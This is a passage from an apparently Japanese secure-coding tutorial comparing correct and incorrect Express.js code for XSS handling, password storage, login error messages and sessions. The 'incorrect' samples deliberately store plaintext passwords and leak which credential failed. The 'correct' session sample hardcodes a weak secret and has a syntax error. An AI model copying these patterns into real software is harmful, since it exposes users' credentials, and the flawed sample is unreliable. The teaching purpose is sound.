});<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u3067\u306f\u304a\u5ba2\u69d8\u306e\u60c5\u5831\u3092\u8fd4\u3057\u3066\u3044\u307e\u3059\u3002\u3057\u304b\u3057\u3001customer.note\u306e\u5909\u6570\u3067\u306f\u60aa\u610f\u306e\u3042\u308bJavaScript\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u30d6\u30e9\u30a6\u30b6\u30fc\u304c\u3053\u306e\u30b3\u30fc\u30c9\u3092\u8868\u793a\u3055\u305b\u305f\u3089\u3001XSS\u653b\u6483\u3092\u5f15\u304d\u8d77\u3053\u3057\u307e\u3059\u3002<\/p>\n<h3>\u8a8d\u8a3c\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u7ba1\u7406<\/h3>\n<p>\u91cd\u8981\u306a\u30bd\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u3001\u516c\u958b\u30a2\u30af\u30bb\u30b9\u3092\u3055\u305b\u305a\u306b\u3001\u8a8d\u8a3c\u304c\u5fc5\u8981\u3067\u3059\u3002Css\u3001js&#8230;\u306a\u3069\u306e\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u306f\u8a8d\u8a3c\u304c\u3044\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>Oauth2\u3001\u3082\u3057\u304f\u306fGoogle authication\u3001Facebook authentication\u306a\u3069\u306e\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u8a8d\u8a3c\u4ed5\u7d44\u307f\u3092\u4f7f\u7528\u3057\u3066\u3082\u3088\u3044\u3067\u3059\u3002<\/p>\n<p>\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u30e9\u30a4\u30d6\u30e9\u30ea\u304c\u5229\u7528\u3067\u304d\u308b\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u3059\u308b\u969b\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u307e\u305f\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u9593\u9055\u3063\u305f\u5834\u5408\u3001\u30cf\u30c3\u30ab\u30fc\u306b\u30c7\u30fc\u30bf\u3092\u96c6\u3081\u3089\u305b\u306a\u3044\u3088\u3046\u306b\u5177\u4f53\u7684\u306b\u300c\u30e6\u30fc\u30b6\u30fc\u540d\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u300d\u3001\u3082\u3057\u304f\u306f\u300c\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u300d\u3068\u3044\u3046\u3088\u3046\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4ee3\u308f\u308a\u306b\u3001\u5358\u306b\u300c\u30ed\u30b0\u30a4\u30f3\u60c5\u5831\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u300d\u3068\u77e5\u3089\u305b\u305f\u3089\u3044\u3044\u3067\u3059\u3002<\/p>\n<p>\u5916\u90e8\u306e\u30b7\u30b9\u30c6\u30e0\u304c\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306b\uff08API\u3084\u30a6\u30a7\u30d6\u30b5\u30fc\u30d3\u30b9\u306a\u3069\u901a\u3057\u3066\uff09\u3001\u79c1\u305f\u3061\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u63a5\u7d9a\u3057\u305f\u3089\u3001\u8a8d\u8a3c\u3092\u5b9f\u884c\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>***\u5f62\u5f0f\u306b\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u8aad\u3081\u306a\u3044\u30d1\u30b9\u30ef\u30fc\u30c9\u3084\u8a8d\u8a3c\u30ea\u30af\u30a8\u30b9\u30c8\u306bHTTP POST\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u5f37\u3044\u307b\u3046\u304c\u3044\u3044\u3067\u3059\u3002\u5f37\u3044\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u5c11\u306a\u304f\u3068\u30821 \u3064\u306e\u5927\u6587\u5b57\u30011 \u3064\u306e\u5c0f\u6587\u5b57\u30011 \u3064\u306e\u6570\u5b57\u30011 \u3064\u306e\u7279\u6b8a\u6587\u5b57\u3092\u542b\u3081\u3066\u3001\u6587\u5b57\u6570\u304c 8 \u6587\u5b57\u4ee5\u4e0a\u306e\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30ea\u30bb\u30c3\u30c8\u30ea\u30f3\u30af\u306e\u671f\u9650\u304c\u77ed\u3044\u307b\u3046\u304c\u3044\u3044\u3067\u3059\u3002<\/p>\n<p>\u91cd\u8981\u306a\u4f5c\u696d\u306b\u5bfe\u3057\u3066\u30012FA\u8a8d\u8a3c\u4ed5\u7d44\u307f\u3092\u8a2d\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u66f4\u65b0\u983b\u5ea6\u3084\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u518d\u5229\u7528\u3092\u907f\u3051\u308b\u4ed5\u7d44\u307f\u3092\u8a2d\u5b9a\u3059\u308b\u306e\u3082\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>\u6700\u521d\u306e\u30ed\u30b0\u30a4\u30f3\u3067\u306f\u4e00\u6642\u7684\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u5909\u66f4\u3092\u3055\u305b\u3066\u3001\u8a8d\u8a3c\u60c5\u5831\u3092\u4f55\u5ea6\u304b\u6b63\u3057\u304f\u5165\u529b\u3057\u306a\u3044\u3068\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u30ed\u30c3\u30af\u3055\u305b\u308b\u4ed5\u7d44\u307f\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305f Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong> \u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> bcrypt = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'bcrypt'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3059\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> users = []; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30e6\u30fc\u30b6\u30fc\u767b\u9332<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/register'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; {\r\n <span class=\"hljs-keyword\">const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n \r\n<span class=\"hljs-comment\"> \/\/ \u30e6\u30fc\u30b6\u30fc\u304c\u5b58\u5728\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\"> if<\/span> (users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username)) {\r\n   <span class=\"hljs-keyword\">return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">400<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30e6\u30fc\u30b6\u30fc\u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u3059\u3002'<\/span> }); \r\n } \r\n \r\n<span class=\"hljs-comment\"> \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u683c\u7d0d\u3059\u308b\u524d\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\"> const<\/span> hashedPassword = <span class=\"hljs-keyword\">await<\/span> bcrypt.<span class=\"hljs-title function_\">hash<\/span>(password, <span class=\"hljs-number\">10<\/span>); \r\n \r\n<span class=\"hljs-comment\"> \/\/ \u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u683c\u7d0d\u3059\u308b <\/span> \r\n users.<span class=\"hljs-title function_\">push<\/span>({ username, <span class=\"hljs-attr\">password<\/span>: hashedPassword }); \r\n<span class=\"hljs-keyword\">  \r\n return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u767b\u9332\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n \r\n<span class=\"hljs-comment\"> \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u691c\u7d22\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u60c5\u5831\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n \r\n<span class=\"hljs-comment\"> \/\/ \u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u6bd4\u8f03\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\"> const<\/span> isPasswordValid = <span class=\"hljs-keyword\">await<\/span> bcrypt.<span class=\"hljs-title function_\">compare<\/span>(password, user.<span class=\"hljs-property\">password<\/span>); \r\n<span class=\"hljs-keyword\"> if<\/span> (!isPasswordValid) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u60c5\u5831\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u306b\u304a\u3044\u3066\u3001\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u767b\u9332\u3059\u308b\u3068\u304d\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u683c\u7d0d\u3059\u308b\u524d\u306b\u3001\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3001\u666e\u901a\u306e\u6587\u5b57\u3068\u3057\u3066\u683c\u7d0d\u3055\u308c\u306a\u3044\u306e\u3067\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5411\u4e0a\u3055\u305b\u307e\u3059\u3002<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u3059\u308b\u969b\u3001\u5165\u529b\u3057\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u683c\u7d0d\u3057\u3066\u3044\u308b\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u6bd4\u8f03\u3057\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u307e\u305f\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u6b63\u3057\u304f\u5165\u529b\u3057\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u30cf\u30c3\u30ab\u30fc\u306b\u60c5\u5831\u3092\u96c6\u3081\u3055\u305b\u306a\u3044\u3088\u3046\u306b\u300c\u30ed\u30b0\u30a4\u30f3\u60c5\u5831\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u300d\u3068\u3044\u3046\u5171\u901a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u51fa\u529b\u3057\u307e\u3059\u3002<\/p>\n<p><strong> \u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> bcrypt = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'bcrypt'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3059\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = []; \r\n\r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30e6\u30fc\u30b6\u30fc\u767b\u9332<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/register'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; {\r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n\r\n<span class=\"hljs-comment\"> \/\/ \u30e6\u30fc\u30b6\u30fc\u304c\u5b58\u5728\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\"> if<\/span> (users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username)) {\r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">400<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30e6\u30fc\u30b6\u30fc\u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u3059\u3002'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-comment\"> \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u306a\u3057\u3067\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u683c\u7d0d\u3059\u308b<\/span>\r\n users.<span class=\"hljs-title function_\">push<\/span>({ username, <span class=\"hljs-attr\">password<\/span>}); \r\n<span class=\"hljs-keyword\"> \r\n return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u767b\u9332\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n}); \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n\r\n<span class=\"hljs-comment\"> \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u691c\u7d22\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30e6\u30fc\u30b6\u30fc\u540d\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-comment\"> \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u6bd4\u8f03\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\"> if<\/span> (password !== user.<span class=\"hljs-property\">password<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n});\r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u306b\u304a\u3044\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u767b\u9332\u3059\u308b\u6642\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u683c\u7d0d\u3059\u308b\u524d\u306b\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u306a\u3044\u306e\u3067\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a19\u6e96\u306b\u9055\u53cd\u3057\u307e\u3059\u3002<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u3059\u308b\u969b\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u307e\u305f\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u6b63\u3057\u304f\u5165\u529b\u3057\u3066\u3044\u306a\u3044\u3068\u3001\u300c\u30e6\u30fc\u30b6\u30fc\u540d\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u300d\u3084\u300c\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u300d\u306a\u3069\u306e\u5177\u4f53\u7684\u306a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u51fa\u529b\u3055\u308c\u3066\u3044\u308b\u3068\u3044\u3046\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h3>\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u7ba1\u7406<\/h3>\n<p>id\u3092\u4f7f\u7528\u3059\u308b\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u4f5c\u6210\u3059\u308b\u306b\u306f\u3001\u30bb\u30c3\u30b7\u30e7\u30f3 \u30b9\u30cb\u30c3\u30d5\u30a3\u30f3\u30b0\u3084\u63a8\u6e2c\u653b\u6483\u304c\u56de\u907f\u3067\u304d\u308b\u3088\u3046\u306b\u5076\u7136\u6027\u3092\u78ba\u4fdd\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u30ed\u30b0\u30a2\u30a6\u30c8\u3057\u305f\u3089\u3001\u3059\u3050\u306b\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u7d42\u308f\u3089\u305b\u307e\u3059\u3002<\/p>\n<p>\u30ed\u30b0\u30a2\u30a6\u30c8\u6a5f\u80fd\u306f\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a2\u30a2\u30a6\u30c8\u3057\u305f\u3044\u3068\u304d\u306f\u30ed\u30b0\u30a2\u30a6\u30c8\u3067\u304d\u308b\u3088\u3046\u306b\u3001\u8a8d\u8a3c\u3057\u305f\u3059\u3079\u3066\u306e\u30b5\u30a4\u30c8\u306b\u3064\u304b\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u5236\u9650\u3059\u308b\u305f\u3081\u306b\u3001\u4e00\u4eba\u306e\u30e6\u30fc\u30b6\u30fc\u306b\u30bb\u30c3\u30b7\u30e7\u30f3\u304c2\u3064\u4ee5\u4e0a\u540c\u6642\u306b\u5b58\u5728\u3059\u308b\u3053\u3068\u3092\u8a31\u53ef\u3057\u307e\u305b\u3093\u3002<\/p>\n<p>\u518d\u8a8d\u8a3c\u306e\u6642\u3001\u5143\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3068\u91cd\u8907\u306a\u3089\u306a\u3044\u3088\u3046\u306b\u65b0\u3057\u3044id\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u751f\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6709\u52b9\u671f\u9650\u3092\u8a2d\u5b9a\u3057\u305f\u307b\u3046\u304c\u3044\u3044\u3067\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305f Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> session = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express-session'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u5229\u7528\u3059\u308b\u00a0<\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-title function_\">session<\/span>({ \r\n<span class=\"hljs-attr\"> secret<\/span>: <span class=\"hljs-string\">'secretKey'<\/span>, \r\n<span class=\"hljs-attr\"> resave<\/span>: <span class=\"hljs-literal\">true<\/span>, \r\n<span class=\"hljs-attr\"> saveUninitialized<\/span>: <span class=\"hljs-literal\">true,\r\n cookie: { maxAge: 86400000) }<\/span>\r\n})); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3001\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3059\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9 <\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'test'<\/span>, <span class=\"hljs-attr\">password<\/span>: <span class=\"hljs-string\">'password_hash'<\/span> } ]; \r\n \r\n<span class=\"hljs-comment\">\/\/ K\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">isAuthenticated<\/span>(<span class=\"hljs-params\">req, res, next<\/span>) { \r\n<span class=\"hljs-keyword\"> if<\/span> (req.<span class=\"hljs-property\">session<\/span> &amp;&amp; req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n }\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u7d9a\u884c\u3059\u308b\u306b\u306f\u3001\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044\u3002'<\/span> }); \r\n} \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> 